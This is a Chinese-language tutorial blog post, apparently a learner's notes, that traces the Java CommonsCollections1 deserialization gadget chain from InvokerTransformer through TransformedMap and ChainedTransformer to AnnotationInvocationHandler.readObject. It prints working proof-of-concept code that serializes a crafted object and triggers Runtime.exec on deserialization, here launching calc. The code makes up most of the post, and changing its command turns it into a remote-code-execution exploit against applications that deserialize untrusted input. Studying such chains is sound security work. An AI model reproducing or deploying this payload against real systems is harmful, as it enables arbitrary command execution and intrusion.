竹杖芒鞋轻胜马,何妨吟啸且徐行
什么是CommonsCollections?
Commons由三部分组成:Proper(是一些已发布的项目)、sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
CommonsCollections包为java标砖的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Commons都是一些集合类,集合类一般都可以接收任意对象。
环境搭建
参考:
2、组长的视频
代码思路分析
已知危险方法为Transformer接口的transform方法。
点击左侧的小绿标可查看实现了该接口的类:
找到了InvokerTransformer中的transform方法为危险方法:
上述代码逻辑:
接收一个类,并反射调用类的方法。
接下来找一下iMethodName和iParamTypes参数从哪获取,找一下构造函数。
可以看到,在构造函数中,为iMethodName和iParamTypes赋值了
很好,也就是说,该函数中所有参数都是用户可控的,我们来写一个调用:
普通调用:
反射调用:
调用transform方法:
经过测试,该方法可以被成功利用,接下来我们倒推,去找它的利用链:
谁调用了transform方法?
TransformedMap类:
在该类的checkSetValue方法中,valueTransformer调用了transform方法,看看valueTransformer是什么?
tansformer接口定义的一个参数
构造方法中传入了该参数的值:
所以,我们只要在该构造方法中传入invokerTransformer对象,就会调用它的transformer危险方法。
该构造方法被protected修饰,我们看看有没有调用。
在同一个类中,decorate方法调用了构造方法:
所以,我们要在decorate方法中,将valueTransformer的值设置为InvokerTransformer的对象。
这样,在checkSetValue方法中调用的就是InvokerTransformer对象的transformer危险方法了。
虽然有了上述调用,但是在checkSetValue方法中,传入的参数却不知道是否可控。
所以接下来,我们需要去找,谁调用了checkSetValue方法。
只有一个调用,在MapEntry类中
谁调用了setValue?
结果太多,但是我们可以根据entry这个名称来分析理解一下。
什么是entry?
Entry类概述:
java的entry是一个静态内部类,实现Map.Entry这个接口,通过entry类可以构成一个单向链表。
java中的Map以及Map.Entry
1)Map是java中的接口,Map.Entry;
2)Map提供了一些常用方法,如keySet()、entrySet()等方法;
3)keySet()方法返回值是Map中key值的集合,entrySet()的返回值也是返回一个Set集合,此集合的类型为Map.Entry;
4)Map.Entry是Map声明的一个内部接口,此接口为泛型,定义为Entry。它表示Map中的一个实体(一个key-value对)。接口中有getKey(), getValue方法。
所以这个setValue,其实就是Map中的setValue,我们遍历entry时调用即可。
一个entry即一个Map键值对,我们新建一个Map为其赋值,并遍历,代码如下:
public class ccTest {
public static void main(String[] args) throws Exception {
//Runtime.getRuntime().exec("calc");
Runtime runtime = Runtime.getRuntime();
// Class c = runtime.getClass();
// Method runtimeMethod = c.getDeclaredMethod("exec", String.class);
// runtimeMethod.setAccessible(true);
// runtimeMethod.invoke(runtime, "calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//invokerTransformer.transform(runtime);
//创建map对象
HashMap
//对象赋值
map.put("1", "11");
//调用decorate方法,该方法返回一个map,并将valueTransformer参数赋值为invokerTransformer(InvokerTransformer类)
Map
//遍历,调用entry的setValue方法会调用到MapEntry的setValue方法,进而调用到TransformedMap的checkSetValue方法
for(Map.Entry entry : checksetValue.entrySet()){
entry.setValue(runtime);
}
}
}
执行成功:
所以,只要我们找到一个遍历了数组的地方且调用了setValue,最好是在readObject里面,那么我们就找到了入口类。
可以看到在AnnotationInvocationHandler类中readObject方法中直接调用了setValue方法:
.png)
接下来分析参数是否我们可控:
可以看到,memberValue的值是根据memberValues得到的
memberValues的值可以在构造函数中由我们控制
第一个参数Annotation是java中的注解,比如重写时的@Override就是注解。
要注意的是,这个类没有public修饰,那么它就是default,也就是我们需要反射调用。
代码如下:
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//创建map对象
HashMap
//对象赋值
map.put("1", "11");
//调用decorate方法,该方法返回一个map,并将valueTransformer参数赋值为invokerTransformer(InvokerTransformer类)
Map
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, checksetValue);
serilization(o);
unserilization("cc.ser");
}
序列化和反序列化函数代码如下:
public static void serilization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc.ser"));
objectOutputStream.writeObject(o);
}
public static Object unserilization(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
}
写到这里,代码中还存在两个问题。
1.在入口类调用setValue方法时的参数值是否可控,我们怎么把runtime对象传进去?
2.runtime类没有继承Serializable,无法被序列化。
第二个问题解决:Runtime不可以序列化,但是它的class是可以序列化的。
首先写一个正常情况下的反射调用:
Class c = Runtime.class;
//获取runtime的getRuntime方法
Method runtimeMethod = c.getDeclaredMethod("getRuntime", null);
//getruntime方法返回一个Runtime对象
Runtime r = (Runtime) runtimeMethod.invoke(null, null);
//获取runtime的exec方法
Method getruntimeMethod = c.getMethod("exec", String.class);
//传入对象和参数值执行
getruntimeMethod.invoke(r, "calc");
执行:
将其转换为InvokerTransformer格式,代码如下(这里不要只看,一定要敲代码,才能理解):
Method runtimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null} ).transform(Runtime.class);
//即Runtime r = (Runtime) runtimeMethod.invoke(null, null);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(runtimeMethod);
//即getruntimeMethod.invoke(r, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
执行:
写完后,我们可以发现,这是一个链式结构,而有一个实现了Transformer接口的类,叫ChainedTransformer,其中刚好就有链式调用的方法,即将前一个的输出作为后一个的输入:
所以代码又可以改写为如下形式:
Transformer transformer[] = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null} ),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(Runtime.class);
执行:
我们TransformedMap中decorate方法中对invokerTransformer对象的调用改为chainedTransformer
此时完整代码如下:
public class ccTest {
public static void main(String[] args) throws Exception {
Transformer transformer[] = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null} ),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//chainedTransformer.transform(Runtime.class);
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//创建map对象
HashMap
//对象赋值
map.put("1", "11");
//调用decorate方法,该方法返回一个map,并将valueTransformer参数赋值为invokerTransformer(InvokerTransformer类)
Map
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, checksetValue);
serilization(o);
unserilization("cc.ser");
}
public static void serilization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc.ser"));
objectOutputStream.writeObject(o);
}
public static Object unserilization(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object o = objectInputStream.readObject();
return o;
}
}
runtime无法序列化的问题解决了,接下来解决第一个问题:
在入口类调用setValue方法时的参数值是否可控,我们怎么把runtime对象传进去?以及绕过两个if进入我们想要的地方
在第一个if处下断点,看怎么走
debug
可以看到,type就是override
走到第一个if的时候,看到membertype的值为null,所以并不会进到我们想要的地方
memberType指的是override的成员变量,进去override看一下:
没有成员变量,那我们将override改为target试试,target有一个成员方法value
debug:
这里menbertype依然为null,因为我们再代码中为key赋值为1,应该赋值为value:
debug:
找到了value
跟进去,到了setvalue
此时还剩一个问题待解决,setvalue将值设置为了如上图所示,但我们想要的是Runtime.getRuntime
跟进去看看:
此时的value值我们看看是否可以控制。
这时需要用到另一个类叫ConstantTransformer:
它重写了transform方法,该方法为接收任意一个输入,返回一个常量,这个常量是什么呢?
在它的构造函数里,这个常量由我们控制。不管改函数传入的参数值是什么,它只会返回由我们控制的常量。所以,我们如果把Runtime.getRuntime赋值给常量,即使我们不能控制value参数,当调用ConstantTransformer的transform时,只是会返回常量,也就是Runtime.getRuntime。
AnnotationInvocationHandler的setValue最终会调用到下图,最后return在构造constantTransformer时传入的常量也就是Runtime.getRuntime。
成功执行:
总结:
梳理一下整个流程:
1.危险方法为InvokeTransformer中的transform函数;
2.TransformedMap类中的checkSetValue方法调用了transform方法;
1)valueTransformer值由构造函数获取,构造函数的值由decorate函数传入;
2)value的值需要查找谁调用了checkSetValue方法来寻找是否我们可控;
3.AbstractInputCheckedMapDecorator类的内部类MapEntry类中的setValue方法调用了checkSetValue方法;
1)entry代表一个键值对,找到遍历Map的地方,调用setValue赋值为Runtime即可
4.AnnotationInvocationHandler类的readObject方法调用了setValue函数,入口类找到了;
1)memberValue的值在构造函数中传入,该类权限为default,需要反射调用其构造方法。
CommonsCollections1就暂时学到这里了,其实还有有一些不太明白的地方,就先暂时放在这里,说不定哪天就豁然开朗了,下篇再会。
参考链接: